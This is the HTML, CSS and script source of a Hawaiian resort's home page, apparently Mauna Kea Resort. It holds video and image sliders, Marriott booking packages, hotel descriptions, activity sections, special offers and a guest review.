.slick-next{right:auto}.hero-sub-caption{position:absolute;right:1.5em;bottom:1.5em;z-index:2;color:currentColor;font-size:13px}@media screen and (max-width:767px){.hero-sub-caption{display:none}}.btn-hero-toggle{position:absolute;right:1.5em;bottom:1.5em;z-index:2;width:34px;height:34px;border:1px solid;border-radius:50%;transition:color .35s}@media screen and (max-width:767px){.btn-hero-toggle{right:1em;bottom:1em}}.btn-hero-toggle.is-hidden{display:none}.btn-hero-toggle::before{content:'î ¨';font-family:'fontello';font-size:1rem}.btn-hero-toggle.is-play::before{content:'î §'}.btn-hero-toggle:hover{color:#ff671f}</style> 4096<style>.hero-index .hero-slide{position:relative;background-size:cover;background-position:center;height:100%}.hero-index .hero-slide::after{content:'';pointer-events:none;position:absolute;left:0;bottom:0;width:100%;height:25%;background:linear-gradient(to top,rgba(0,0,0,.5),rgba(0,0,0,0))}.hero-index .hero-img{overflow:hidden}.hero-index figcaption{box-sizing:border-box;color:#fff;line-height:1.4;left:50%;max-width:90%;position:absolute;text-align:center;top:50%;transform:translate(-50%,-50%);z-index:2;transition:opacity .6s ease}.hero-index figcaption.loading{opacity:0;visibility:hidden}.hero-index figcaption:before{content:'';position:absolute;left:0;top:0;width:100%;height:100%;background:radial-gradient(ellipse,rgba(0,0,0,.5),transparent 70%);z-index:-1}@media screen and (max-width:768px){.hero-index figcaption{width:100%}}.hero-index .vid-controls{box-sizing:border-box;display:-webkit-box;display:-webkit-flex;display:-moz-flex;display:-ms-flexbox;display:flex;align-items:center;bottom:0;left:0;position:absolute;z-index:2;width:calc(100% - 94px);padding:0 5% 3%}@media screen and (max-width:767px){.hero-index .vid-controls{bottom:.5em}}.hero-index .play-pause-minimal i{color:#fff;font-size:20px;opacity:.8;transition:color .35s}.hero-index .play-pause-minimal i:hover{color:#ff671f}.hero-index .volume-minimal i{color:#fff;font-size:20px;opacity:.8;transition:color .35s}.hero-index .volume-minimal i:hover{color:#ff671f}.hero-index .progress-bar-wrapper{flex:1;padding:0 2%}.hero-index .progress-bar{background-color:rgba(255,255,255,.2);height:1px;margin:0 2%;position:relative;width:100%}.hero-index .progress-bar-fill{position:absolute;top:0;left:0;width:0;height:100%;background-color:#fff}.hero-index .vimeo-wrapper{height:100%;width:100%;overflow:hidden;position:relative}.hero-index .vimeo-wrapper iframe{box-sizing:border-box;min-width:100%;min-height:100%;position:absolute;
4096left:50%;top:50%;transform:translate(-50%,-50%)}.hero-index .ratio-16-9 iframe{height:56.25vw;width:177.77778vh}.has-loader::before{display:none!important}.icon-volume-off:before{content:'î ª'}.icon-volume-on:before{content:'î «'}.cc-ctrl-wrap{position:relative;margin-right:.75rem}.cc-ctrl::before{content:'ï';font-family:'fontello';font-size:1rem}.subtitles-menu{list-style-type:none;position:absolute;bottom:100%;bottom:calc(100% + 4px);left:50%;z-index:4;margin:0;padding:0;width:100px;transform:translateX(-50%);display:none}.subtitles-menu li{padding:0;text-align:center}.subtitles-menu button{border:none;background-color:rgba(0,0,0,.8);color:#fff;cursor:pointer;width:90%;padding:.4em .5em}.subtitles-menu button:hover{background-color:#000}#hero-video::cue{font-family:"Nunito Sans",sans-serif;font-size:1.5rem;background-color:rgba(0,0,0,.5)}</style> 4097 4098<div class="hero hero-index loading" id="Hero_Tour_1"> 4099 4100 4101 4102 <!-- videos --> 4103 <figure class="slide hero-slide has-video dawn-slide"> 4104 <video preload="auto" muted playsinline disablePictureInPicture loop width="1920" height="1080" class="object-fit" poster="/images/content/videos/mkr_best_1_final.jpg"> 4105 <source src="https://videocloud.hooray.agency/maunakea/mkr_best_1_final.mp4" type="video/mp4"> 4106 </video> 4107 <div class="vid-controls"> 4108 <button class="hvideo-ctrl js-video1-ctrl play-pause-minimal" type="button" aria-label="Pause video"><i class="icon-pause-1"></i></button> 4109 <div class="progress-bar"> 4110 <div class="progress-bar-fill"></div> 4111 </div> 4112 </div> 4113 <figcaption class="loading"> 4114 </figcaption> 4115 </figure> 4116 4117 4118 <figure class="slide hero-slide hero-img-slide"> 4119 <img data-lazy="/images/hero/full/infinity-pool-view-1-midres.jpg" alt="" data-object-fit="cover" class="object-fit hero-image" style="" > 4120 <figcaption> 4121 <div class="inner"> 4122 4123 </div> 4124 </figcaption> 4125 4126 <div class="hero-sub-caption"></div> 4127 4128 </figure> 4129 4130 <figure class="slide hero-slide hero-img-slide"> 4131 <img data-lazy="/images/hero/full/SHOT010388.jpg" alt="A family walking on the beach" data-object-fit="cover" class="object-fit hero-image" style="" > 4132 <figcaption> 4133 <div class="inner"> 4134 4135 </div> 4136 </figcaption> 4137 4138 <div class="hero-sub-caption"></div> 4139 4140 </figure> 4141 4142 <figure class="slide hero-slide hero-img-slide"> 4143 <img data-lazy="/images/hero/full/SHOT12_VISTA_DECK_0129.jpg" alt="A couple dining by the shore" data-object-fit="cover" class="object-fit hero-image" style="" > 4144 <figcaption> 4145 <div class="inner"> 4146 4147 </div> 4148 </figcaption> 4149 4150 <div class="hero-sub-caption"></div> 4151 4152 </figure> 4153 4154 <figure class="slide hero-slide hero-img-slide"> 4155 <img data-lazy="/images/hero/full/family-pool-4---close-up-midres.jpg" alt="" data-object-fit="cover" class="object-fit hero-image" style="" > 4156 <figcaption> 4157 <div class="inner"> 4158 4159 </div> 4160 </figcaption> 4161 4162 <div class="hero-sub-caption"></div> 4163 4164 </figure> 4165 4166 <figure class="slide hero-slide hero-img-slide"> 4167 <img data-lazy="/images/hero/full/SHOT02_CANOE_485_tattoo.jpg" alt="A couple sailing" data-object-fit="cover" class="object-fit hero-image" style="" > 4168 <figcaption> 4169 <div class="inner"> 4170 4171 </div> 4172 </figcaption> 4173 4174 <div class="hero-sub-caption"></div> 4175 4176 </figure> 4177 4178 <figure class="slide hero-slide hero-img-slide"> 4179 <img data-lazy="/images/hero/full/SHOT07_HOTEL_ENTRYWAY_0177.jpg" alt="A couple looking out from the balcony" data-object-fit="cover" class="object-fit hero-image" style="" > 4180 <figcaption> 4181 <div class="inner"> 4182 4183 </div> 4184 </figcaption> 4185 4186 <div class="hero-sub-caption"></div> 4187 4188 </figure> 4189 4190</div> 4191 4192<div class="hero-nav"> 4193 4194</div> 4195 4196 4197 4198 4199 4200 4201<style> 4202 .MuiPaper-root h6.MuiTypography-root { color: #fff; } 4203 input.MuiInputBase-input[type="text"] { box-sizing: content-box; background: none; } 4204</style> 4205 4206 4207 4208 4209<style>.home-callouts{position:absolute;
4209left:-450px;bottom:130px;width:478px;height:198px;background-color:#fff;color:#56534d;z-index:9;transition:left 1s ease-in-out,transform 1s ease-in-out}@media screen and (max-width:767px){.home-callouts{bottom:20%;transition:.5s ease-in-out}}@media screen and (max-width:480px){.home-callouts{left:0;transform:translateX(calc(-100% + 28px));background-color:#e4e4e4;width:85%;height:175px}}.home-callouts .slick-prev,.home-callouts .slick-next{bottom:-55px;top:initial;cursor:pointer;color:#fff}@media screen and (max-width:480px){.home-callouts .slick-prev,.home-callouts .slick-next{visibility:hidden}}.home-callouts .slick-prev{left:30%}@media screen and (max-width:480px){.home-callouts .slick-prev{left:85px}}.home-callouts .slick-next{right:30%}@media screen and (max-width:480px){.home-callouts .slick-next{right:132px}}</style> 4210 4211 4212 4213 4214<div class="home-callouts" hdmtype="flyout"> 4215 <div class="join-eclub je-slider"> 4216 <!-- begin arrow slider --> 4217 4218 <div> 4219 <div class="je-wrap"> 4220 <div class="je-image"><img src="/images/content/flyouts/resized-shot02_canoe_812.jpg?05777849680208612" width="211" height="198" alt="60th Anniversary Package"></div> 4221 <div class="je-inner"> 4222 <h3 style="font-size:16px;">60th Anniversary Package</h3> 4223 <p>Stay 3 nights and receive a 4th night free, plus daily breakfast buffet for two at Manta restaurant. </p> 4224 4225 4226 <a href="https://www.marriott.com/reservation/availability.mi?propertyCode=KOAAK&cc=ZJ1" class="je-cta js-je-cta" gaq="">Learn More</a> 4227 4228 4229 </div> 4230 </div> 4231 </div> 4232 4233 <div> 4234 <div class="je-wrap"> 4235 <div class="je-image"><img src="/images/content/flyouts/Resized_SHOT01_SHORELINE_WALK_SCENIC_BOOGIE_BOARD_0070.jpg?03262374496421412" width="211" height="198" alt="Discover Hawaii"></div> 4236 <div class="je-inner"> 4237 <h3 style="font-size:16px;">Discover Hawaii</h3> 4238 <p>Discover Hawai‘i with an exclusive 15% off our Best Available Rates at The Westin Hapuna Beach Resort.</p> 4239 4240 4241 <a href="https://www.marriott.com/reservation/availability.mi?propertyCode=KOAWI&cc=ZJL&scid=undefined" class="je-cta js-je-cta" gaq="">Learn More</a> 4242 4243 4244 </div> 4245 </div> 4246 </div> 4247 4248 <div> 4249 <div class="je-wrap"> 4250 <div class="je-image"><img src="/images/content/flyouts/infinity-pool-view-2-midres.jpg?04758372067076503" width="211" height="198" alt="Art of Renewal Package"></div> 4251 <div class="je-inner"> 4252 <h3 style="font-size:16px;">Art of Renewal Package</h3> 4253 <p>Book three or more nights, receive $200 Daily Spa Credit, offering the freedom to experience the new Spa at Mauna Kea at a relaxed pace.</p> 4254 4255 4256 <a href="https://www.marriott.com/offers/art-of-renewal-off-221029/koaak-mauna-kea-beach-hotel-autograph-collection" class="je-cta js-je-cta" gaq="">Learn More</a> 4257 4258 4259 </div> 4260 </div> 4261 </div> 4262 4263 <div> 4264 <div class="je-wrap"> 4265 <div class="je-image"><img src="/images/content/flyouts/cheers0wine.jpg?01758304924458467" width="211" height="198" alt="Westin Suite Retreat Package "></div> 4266 <div class="je-inner"> 4267 <h3 style="font-size:16px;">Westin Suite Retreat Package </h3> 4268 <p class="x_x_MsoNormal">Escape to the Suite Life. With 30% off suites, plus wine, strawberries & bathrobes on arrival.</p> 4269 4270 4271 <a href="https://www.marriott.com/reservation/availability.mi?propertyCode=KOAWI&cc=HDK&scid=undefined" class="je-cta js-je-cta" gaq="Fly-in, Westin Suite Retreat Package ">Learn More</a> 4272 4273 4274 </div> 4275 </div> 4276 </div> 4277 4278 <div> 4279 <div class="je-wrap"> 4280 <div class="je-image"><img src="/images/content/flyouts/WES32625-38.jpg?000860377901824727" width="211" height="198" alt="Stay 3 Nights at Westin Hapuna "></div> 4281 <div class="je-inner"> 4282 <h3 style="font-size:16px;">Stay 3 Nights at Westin Hapuna </h3> 4283 <p>Enjoy 15% off rates and daily breakfast buffet, plus a one-time $50 resort credit.</p> 4284 4285 4286 <a href="https://www.marriott.com/reservation/availability.mi?propertyCode=KOAWI&cc=ES7&scid=undefined" class="je-cta js-je-cta" gaq="">Learn More</a> 4287 4288 4289 </div> 4290 </div> 4291 </div> 4292 4293 <!-- end arrow slider --> 4294 </div> 4295 <button type="button" class="je-toggle js-je-toggle" aria-label="Open"></button> 4296</div> 4297 4298
4299<script> 4300 _hdmq.add(function(){ 4301 4302 // join eclub toggle 4303 const jeToggleBtn = document.querySelector('.js-je-toggle'); 4304 const jeBanner = document.querySelector('.home-callouts'); 4305 4306 function jeToggle() { 4307 if(!jeToggleBtn || !jeBanner) return; 4308 4309 if(jeBanner.classList.contains('active')) { 4310 jeBanner.classList.remove('active'); 4311 jeToggleBtn.setAttribute('aria-label', 'Open'); 4312 } else { 4313 jeBanner.classList.add('active'); 4314 jeToggleBtn.setAttribute('aria-label', 'Close'); 4315 } 4316 } 4317 4318 jeToggleBtn.addEventListener('click', jeToggle); 4319 4320 // expand on page load 4321 setTimeout(function() { 4322 if(!jeToggleBtn || !jeBanner) return; 4323 jeBanner.classList.add('active'); 4324 jeToggleBtn.setAttribute('aria-label', 'Close'); 4325 }, 1500); 4326 4327 const $joinEclub = $('.join-eclub'); 4328 4329 $joinEclub.on('init', function() { 4330 setTimeout(function() { 4331 $joinEclub.slick('setPosition'); 4332 }, 500); 4333 }); 4334 4335 $joinEclub.slick({ 4336 autoplaySpeed:8000, 4337 dots: true, 4338 draggable: false, 4339 autoplay: true, 4340 accessibility: true, 4341 }); 4342 4343 }); 4344</script>
4344 4345 4346 4347 4348 <style> 4349 .afar { position: absolute; top: 28%; left: 50%; transform: translate(-50%, -50%); text-align: center; width: 100%; } 4350 .afar-inner { max-width: 1280px; margin: 0 auto; } 4351 .afar img { float: right; width: 150px; height: auto; margin-right: 20px; } 4352 @media screen and (max-width: 767px) { 4353 .afar { top: 35%; } 4354 .afar img { width: 100px; } 4355 } 4356 </style> 4357 <div class="afar"> 4358 <div class="afar-inner"> 4359 <img src="/images/layout/logos/AFAR_BestNewHotels2026_Logo.png"> 4360 </div> 4361 </div> 4362</div> 4363<main id="main-content" class="main-content" role="main"> 4364 <section class="hotels" data-lazy-bg=""> 4365 <div class="hgroup"> 4366 <h2><em>Aloha<img data-lazy-src="/images/layout/icons/plumeria-64.png" width="32" height="32" alt="plumeria" class="icon"></em> Brings Us Together</h2> 4367 <div class="subhead"> 4368 <div class="hdm-content" hdmType="HtmlEditable" id="Field_1_6"><h1 class="ada-hidden">Mauna Kea Resort</h1> 4369<p>Pure luxury <span>nestled in perfect harmony with nature and spirit of the island.</span></p> 4370<p> </p></div> 4371 </div> 4372 </div> 4373 4374<style> 4375 .MuiPaper-root h6.MuiTypography-root { color: #fff; } 4376 input.MuiInputBase-input[type="text"] { box-sizing: content-box; background: none; } 4377</style> 4378 4379 4380<div class="dj-sliders-wrap" hdmtype="swiperslider"> 4381 <div class="dj-slider-main-wrap"> 4382 <div class="dj-slider-main-pad"> 4383 <div class="swiper-container dj-slider dj-slider-main loading"> 4384 <div class="swiper-wrapper"> 4385 4386 <div class="swiper-slide hotel-slide"> 4387 <div class="dj-slider-wrap"> 4388 <div class="dj-slider-media has-caption lighter"><img data-src="/images/content/swiperslider/infinity-pool-midres.jpg?048953352925540716" width="760" height="570" alt="Mauna Kea Beach Hotel" class="object-fit swiper-lazy"><div class="swiper-lazy-preloader"></div></div> 4389 <div class="dj-slider-content"> 4390 <h3><em>Mauna Kea</em> Beach Hotel, Autograph Collection</h3> 4391 <div class="copy"> 4392 <h4>Welcomes You Back</h4> 4393<p>Our $200+ million transformation welcomes guests to a new chapter at this iconic luxury resort.</p> 4394 <p><a href="/stay/mauna-kea-beach-hotel/" class="lm">Learn More</a></p> 4395 </div> 4396 </div> 4397 </div> 4398 </div> 4399 4400 <div class="swiper-slide hotel-slide"> 4401 <div class="dj-slider-wrap"> 4402 <div class="dj-slider-media has-caption lighter"><img data-src="/images/content/swiperslider/760x570_whbr-slider.jpg?03936786448430696" width="760" height="570" alt="The Westin Hapuna Beach Resort" class="object-fit swiper-lazy"><div class="swiper-lazy-preloader"></div></div> 4403 <div class="dj-slider-content"> 4404 <h3><em>The Westin</em> Hapuna Beach Resort</h3> 4405 <div class="copy"> 4406 <h4>invites you to bliss</h4> 4407<p><span style="font-weight: 400;">A premier resort experience on America’s number #1 rated beach.</span></p> 4408 <p><a href="/stay/westin-hapuna-beach-resort/" class="lm">Learn More</a></p> 4409 </div> 4410 </div> 4411 </div> 4412 </div> 4413 4414 <div class="swiper-slide hotel-slide"> 4415 <div class="dj-slider-wrap"> 4416 <div class="dj-slider-media has-caption lighter">
4416<img data-src="/images/content/swiperslider/760x570_ResidenceSlider.jpg?03506931731224061" width="760" height="570" alt="Mauna Kea Residences" class="object-fit swiper-lazy"><div class="swiper-lazy-preloader"></div></div> 4417 <div class="dj-slider-content"> 4418 <h3><em>Mauna Kea</em> Residences</h3> 4419 <div class="copy"> 4420 <h4>Home away from home</h4> 4421<p><span style="font-weight: 400;">Ultimate luxury on the Island of Hawaiʻi.</span></p> 4422 <p><a href="/stay/mauna-kea-residences/" class="lm">Learn More</a></p> 4423 </div> 4424 </div> 4425 </div> 4426 </div> 4427 4428 </div> 4429 </div> 4430 <button type="button" class="swiper-button-prev js-dj-slider-prev" aria-label="Previous"></button> 4431 <button type="button" class="swiper-button-next js-dj-slider-next" aria-label="Next"></button> 4432 </div> 4433 </div> 4434 4435 <div class="dj-slider-prev-wrap"> 4436 <div class="swiper-container dj-slider dj-slider-prev loading"> 4437 <div class="swiper-wrapper"> 4438 4439 <div class="swiper-slide hotel-slide"> 4440 <div class="dj-slider-wrap"> 4441 <div class="dj-slider-media has-caption lighter"><img data-src="/images/content/swiperslider/760x570_whbr-slider.jpg?03936786448430696" width="760" height="570" alt="The Westin Hapuna Beach Resort" class="object-fit swiper-lazy"><div class="swiper-lazy-preloader"></div></div> 4442 <div class="dj-slider-content"> 4443 <h3><em>The Westin</em> Hapuna Beach Resort</h3> 4444 </div> 4445 </div> 4446 </div> 4447 4448 <div class="swiper-slide hotel-slide"> 4449 <div class="dj-slider-wrap"> 4450 <div class="dj-slider-media has-caption lighter"><img data-src="/images/content/swiperslider/760x570_ResidenceSlider.jpg?03506931731224061" width="760" height="570" alt="Mauna Kea Residences" class="object-fit swiper-lazy"><div class="swiper-lazy-preloader"></div></div> 4451 <div class="dj-slider-content"> 4452 <h3><em>Mauna Kea</em> Residences</h3> 4453 </div> 4454 </div> 4455 </div> 4456 4457 <div class="swiper-slide hotel-slide"> 4458 <div class="dj-slider-wrap"> 4459 <div class="dj-slider-media has-caption lighter"><img data-src="/images/content/swiperslider/infinity-pool-midres.jpg?048953352925540716" width="760" height="570" alt="Mauna Kea Beach Hotel" class="object-fit swiper-lazy"><div class="swiper-lazy-preloader"></div></div> 4460 <div class="dj-slider-content"> 4461 <h3><em>Mauna Kea</em> Beach Hotel, Autograph Collection</h3> 4462 </div> 4463 </div> 4464 </div> 4465 4466 </div> 4467 </div> 4468 </div> 4469 4470 </div> 4471 4472 4473 4474 </section> 4475 4476 4477<style> 4478 .MuiPaper-root h6.MuiTypography-root { color: #fff; } 4479 input.MuiInputBase-input[type="text"] { box-sizing: content-box; background: none; } 4480</style> 4481 4482 4483<div class="fw-tab-slider-wrap" hdmtype="tabslider"> 4484 <div class="fw-tab-slider-tabs js-exp-slider-nav"> 4485 <div><button class="fw-ts-tab">Currents</button></div> 4486 4487 <div><button class="fw-ts-tab">Art Collection</button></div> 4488 4489 <div><button class="fw-ts-tab">Beach Experiences</button></div> 4490 4491 </div> 4492 <div class="fw-tab-slider js-exp-slider loading"> 4493 <div> 4494 <div class="fw-tab-slide"> 4495 <div class="fw-tab-slide-media">
4495<img data-lazy="/images/content/home/experience/snorkler-light-underwater.jpg" width="1280" height="800" alt="Currents Magazine" class="object-fit"></div> 4496 <div class="magazine-tab-slide-content"> 4497 4498 <div> 4499 <p class="title">CURRENTS</p> 4500 <h3></h3> 4501 <p class="lede">Blue Mindfulness - Find happiness and health in nature</p> 4502 <a href="/culture/currents/blue-mindfulness" class="lm lm-arrow">Read More</a> 4503 </div> 4504 4505 </div> 4506 </div> 4507 </div> 4508 4509 <div> 4510 <div class="fw-tab-slide"> 4511 <div class="fw-tab-slide-media"><img data-lazy="/images/content/tabslider/buddah-1280x800.jpg?06381243884421148" width="1280" height="800" alt="Art Collection" class="object-fit object-fit-top"></div> 4512 <div class="fw-tab-slide-content"> 4513 <h3><span style="color: #ffffff;"><em>Timeless</em> Happens Here</span></h3> 4514<p class="lede">Learn what inspired this collection of one of a kind pieces of art and artifacts from Asia and the Pacific through our complimentary immersive app.</p> 4515 <p><a href="/culture/art-collection" class="lm lm-arrow">Learn More</a></p> 4516 </div> 4517 </div> 4518 </div> 4519 4520 <div> 4521 <div class="fw-tab-slide"> 4522 <div class="fw-tab-slide-media"><img data-lazy="/images/content/tabslider/beach-activities011280x800.jpg?00884012095019211" width="1280" height="800" alt="Beach Experiences" class="object-fit object-fit-top"></div> 4523 <div class="fw-tab-slide-content"> 4524 <h3><span style="color: #ffffff;"><em>Find</em> a new perspective</span></h3> 4525<p class="lede">Enjoy beach and pool experiences second to none.</p> 4526 <p><a href="https://www.maunakearesort.com/play/activities/beach-and-pool" class="lm lm-arrow">Learn More</a></p> 4527 </div> 4528 </div> 4529 </div> 4530 4531 </div> 4532</div> 4533 4534 4535 4536 4537 <section class="history"> 4538 4539 4540<style> 4541 .MuiPaper-root h6.MuiTypography-root { color: #fff; } 4542 input.MuiInputBase-input[type="text"] { box-sizing: content-box; background: none; } 4543</style> 4544 4545 4546<div class="hist-slider-wrap" hdmtype="history"> 4547 <div class="hist-slider js-hist-slider loading"> 4548 4549 <div> 4550 <div class="hist-slide"> 4551 <h3><em>History</em> of Mauna Kea Resort</h3> 4552 <div class="main-img"><img data-lazy="/images/content/historylarge/canoe-couple.jpg?06597430371842221" width="654" height="770" alt="History of Mauna Kea Resortfirst image" class="object-fit"></div> 4553 <div class="sec-img"><img data-lazy="/images/content/historysmall/rockefeller-history-324x438.jpg?016218393423661226" width="422" height="524" alt="History of Mauna Kea Resortsecond image" class="object-fit"></div> 4554 <div class="hist-slide-caption"> 4555 <p><span style="font-weight: 400;">Mauna Kea Resort has such a storied past, learn how the resort has developed into one of the most desired destinations in Hawaiʻi.</span></p> 4556 <p><a href="/culture/history" class="lm">Learn more</a></p> 4557 </div> 4558 </div> 4559 </div> 4560 4561 <div> 4562 <div class="hist-slide"> 4563 <h3><em>Local Activites</em> of Mauna Kea Resort</h3> 4564 <div class="main-img"><img data-lazy="/images/content/historylarge/local-activities-520x640.jpg?007986372467060576" width="654" height="770" alt="Local Activities Of Mauna Keafirst image" class="object-fit"></div> 4565 <div class="sec-img"><img data-lazy="/images/content/historysmall/local-activities03-520x640.jpg?017392687754654634" width="422" height="524" alt="Local Activities Of Mauna Keasecond image" class="object-fit"></div>
4566 <div class="hist-slide-caption"> 4567 <p>Discover an endless array of island adventures, romantic escapades and family fun. Create everlasting memories for years to come.</p> 4568 <p><a href="/play" class="lm">Learn more</a></p> 4569 </div> 4570 </div> 4571 </div> 4572 4573 </div> 4574 <div class="hist-slider-nav"></div> 4575</div> 4576 4577 4578 </section> 4579 <section class="glance"> 4580 <h2 class="ada-hidden">At-a-Glance</h2> 4581 4582<style> 4583 .MuiPaper-root h6.MuiTypography-root { color: #fff; } 4584 input.MuiInputBase-input[type="text"] { box-sizing: content-box; background: none; } 4585</style> 4586 4587 4588<div hdmtype="navslider"> 4589 <div class="perc-slider-wrap psw-tall" > 4590 <div class="perc-slider glance-slider js-glance-slider loading"> 4591 4592 <div> 4593 <figure class="perc-slide"> 4594 <div class="perc-slide-media"><img data-lazy="/images/content/navslider/SHOT12_VISTA_DECK_0182.jpg?006321255052412478" width="920" height="700" alt="Dine" class="object-fit"></div> 4595 <figcaption> 4596 <h3><em>From the </em>Ocean, to your table</h3> 4597 <div class="copy"> 4598 <p>We know traditions. We’ve been inspiring them here on the Island of Hawai‘i at Mauna Kea Resort for generations.</p> 4599 <p><a href="/dine/" class="lm lm-arrow">Learn More</a></p> 4600 </div> 4601 </figcaption> 4602 </figure> 4603 </div> 4604 4605 <div> 4606 <figure class="perc-slide"> 4607 <div class="perc-slide-media"><img data-lazy="/images/content/navslider/SHOT02_CANOE_485_tattoo.jpg?008473691161603347" width="920" height="700" alt="Play" class="object-fit"></div> 4608 <figcaption> 4609 <h3><em>Providing </em>natures playground and a little extra</h3> 4610 <div class="copy"> 4611 <p>Explore the world class activities and amenities offered at Mauna Kea.</p> 4612 <p><a href="/play/" class="lm lm-arrow">Learn More</a></p> 4613 </div> 4614 </figcaption> 4615 </figure> 4616 </div> 4617 4618 <div> 4619 <figure class="perc-slide"> 4620 <div class="perc-slide-media"><img data-lazy="/images/content/navslider/Tennis1920x1200.jpg?07301309073496363" width="920" height="700" alt="Racquet Club" class="object-fit"></div> 4621 <figcaption> 4622 <p>Premier courts at the ocean's edge</p> 4623 <div class="copy"> 4624 <p>Featuring oceanfront tennis courts and new pickleball courts on the edge of the ocean. Rated the best Racquet Club in Hawai‘i and number four in the world!</p> 4625 <p><a href="/play/activities/tennis/" class="lm lm-arrow">Learn More</a></p> 4626 </div> 4627 </figcaption> 4628 </figure> 4629 </div> 4630 4631 <div> 4632 <figure class="perc-slide"> 4633 <div class="perc-slide-media"><img data-lazy="/images/content/navslider/golf-920x720.jpg?09304012524041316" width="920" height="700" alt="Signature Golf" class="object-fit"></div>
4634 <figcaption> 4635 <h3><em>Oceanview</em> golfing in Hawaii</h3> 4636 <div class="copy"> 4637 <p>Dramatic ocean vistas provide a backdrop to a magical round of island golf at 2 newly renovated golf courses. </p> 4638 <p><a href="/golf/" class="lm lm-arrow">Learn More</a></p> 4639 </div> 4640 </figcaption> 4641 </figure> 4642 </div> 4643 4644 </div> 4645 <div class="perc-slider-nav"></div> 4646 </div> 4647 4648 <div class="perc-slider-display"> 4649 <div class="perc-slider-controls"> 4650 4651 <button type="button" class="ps-btn">Dine</button> 4652 4653 <button type="button" class="ps-btn">Play</button> 4654 4655 <button type="button" class="ps-btn">Racquet Club</button> 4656 4657 <button type="button" class="ps-btn">Signature Golf</button> 4658 4659 </div> 4660 <div class="perc-slider-desc"></div> 4661 </div> 4662 </div> 4663 4664 4665 4666 </section> 4667 4668 <style>.offers-slider{transition:opacity .6s ease}.offers-slider.loading{opacity:0;visibility:hidden}</style> 4669 4670 4671<section class="offers"> 4672 <div class="offers-slider-wrap"> 4673 <div class="offers-slider js-offers-slider loading"> 4674 4675 <div> 4676 <figure class="offers-slide"> 4677 <div class="offers-img"><img data-lazy="/images/content/spceials/1860x620paradise-extended.jpg?01837012161606556" width="1860" height="620" alt="Westin Hapuna Experience Package" class="object-fit"></div> 4678 <figcaption> 4679 <h3>Westin Hapuna Experience Package</h3> 4680 <p>Enjoy 20% off best available rate, includes daily breakfast buffet for 2 at Ikena Landing, receive 25% off Beach Rentals and a one-time $50 resort credit. Must stay 4-consecutive nights to qualify. </p> 4681 <p><a href="/special-offers" class="lm">Stay with us</a></p> 4682 </figcaption> 4683 </figure> 4684 </div> 4685 4686 <div> 4687 <figure class="offers-slide"> 4688 <div class="offers-img"><img data-lazy="/images/content/spceials/hbr-1820x620.jpg?06134938309339796" width="1860" height="620" alt="Stay 3 Nights, Save with Breakfast" class="object-fit"></div> 4689 <figcaption> 4690 <h3>Stay 3 Nights, Save with Breakfast</h3> 4691 <p data-start="88" data-end="301">Stay three nights or more and enjoy up to 15% off our best available rates for ocean-facing categories, includes daily breakfast buffet for 2 adults, plus a one-time $50 resort credit to dine, unwind, or explore.</p> 4692<p data-start="303" data-end="427"> </p> 4693 <p><a href="/special-offers" class="lm">Stay with us</a></p> 4694 </figcaption> 4695 </figure> 4696 </div> 4697 4698 </div> 4699 <div class="offers-arrows"></div> 4700 <div class="cta"> 4701 <a href="/special-offers">Special <span>Offers</span></a> 4702 </div> 4703 </div> 4704</section> 4705 4706 4707 4708 <style></style> 4709 4710 4711<section class="site-map" aria-label="Map"> 4712 <div class="gmap-wrap has-loader"> 4713 <div class="map-tabs"> 4714 <ul class="unstyled-list mt-list"> 4715 <li><button type="button" data-region="mkr" class="mt-btn js-mt-btn active"><span>Mauna Kea Resort</span></button></li> 4716 <li><button type="button" data-region="local" class="mt-btn js-mt-btn"><span>Local Area</span></button></li> 4717 <li><button type="button" data-region="bigisland" class="mt-btn js-mt-btn"><span>Big Island</span></button></li> 4718 </ul> 4719 </div> 4720 4721 <div id="map" class="gmap"></div> 4722 4723 <div class="map-nav"> 4724 <ul class="unstyled-list mn-list active" data-mn-list="mkr"> 4725 <li><button type="button" data-category="living" class="mn-btn js-mn-btn"><span>Living</span></button></li> 4726 4727 4728 <li><button type="button" data-category="dining" class="mn-btn js-mn-btn active"><span>Dining</span></button></li> 4729 <li><button type="button" data-category="shopping" class="mn-btn js-mn-btn"><span>Shopping</span></button></li> 4730 4731 4732 <li><button type="button" data-category="activities" class="mn-btn js-mn-btn"><span>Activities</span></button></li> 4733 <li><button type="button" data-category="eventSpace" class="mn-btn js-mn-btn"><span>Meeting & Event Space</span></button></li> 4734 </ul> 4735 <ul class="unstyled-list mn-list" data-mn-list="local"> 4736 <li><button type="button" data-category="historicSites" class="mn-btn js-mn-btn active"><span>Historic Sites</span></button></li> 4737 <li><button type="button" data-category="towns" class="mn-btn js-mn-btn"><span>Towns</span></button></li> 4738 <li><button type="button" data-category="shopping" class="mn-btn js-mn-btn"><span>Shopping</span></button></li> 4739 <li><button type="button" data-category="beachesActivities" class="mn-btn js-mn-btn"><span>Beaches & Activities</span></button></li> 4740 </ul> 4741 <ul class="unstyled-list mn-list" data-mn-list="bigisland"> 4742 <li><button type="button" data-category="townsCities" class="mn-btn js-mn-btn active"><span>Towns/Cities</span></button></li> 4743 <li><button type="button" data-category="landmarks" class="mn-btn js-mn-btn"><span>Landmarks</span></button></li> 4744 <li><button type="button" data-category="airportsActivities" class="mn-btn js-mn-btn"><span>Airports & Activities</span></button></li> 4745 </ul> 4746 </div> 4747 </div> 4748</section> 4749 4750 4751 4752 4753 4754 4755<section class="reviews"> 4756 <h2 class="ada-hidden">Reviews</h2> 4757 <div class="inner">
4758 <div class="reviews-slider-wrap"> 4759 <div class="reviews-slider js-reviews-slider"> 4760 <div> 4761 <div class="reviews-slide"> 4762 <div class="cite">Kristen P</div> 4763 <div class="loc">Tripadvisor:</div> 4764 <a href="https://www.tripadvisor.com/ShowUserReviews-g2312116-d87284-r1013049911-Mauna_Kea_Beach_Hotel_Autograph_Collection-Puako_Kohala_Coast_Island_of_Hawaii_H.html" target="_blank"> Absolute Paradise!</a><p> My two daughters and I spent five nights at the Mauna Kea Beach Hotel. I booked a 1 king golf vista room but applied nightly upgrade awards and was upgraded to a 1 king oceanfront deluxe with a walk in closet. The room was so awesome and the view was amazing. We loved using our screen door and listening to the ocean. The hotel and the grounds were incredible. Just beautiful and peaceful. I felt like I was living in a postcard. The beach was also amazing. There were plenty of chairs and umbrellas. Things like boogie boards, paddle boards, and snorkel gear were included. The water was crystal clear and there is even a small coral reef with some good snorkeling. At night, we could see Manta Rays from a viewing platform. The service was the best I have ever had experienced at a hotel. We stayed during the renovation, and, as a platinum Marriott member, our breakfasts were upgraded to the full buffet because of the renovation. 4765 Overall, this resort is a dream. We definitely want to come back! 4766 </p> 4767 </div> 4768 </div> 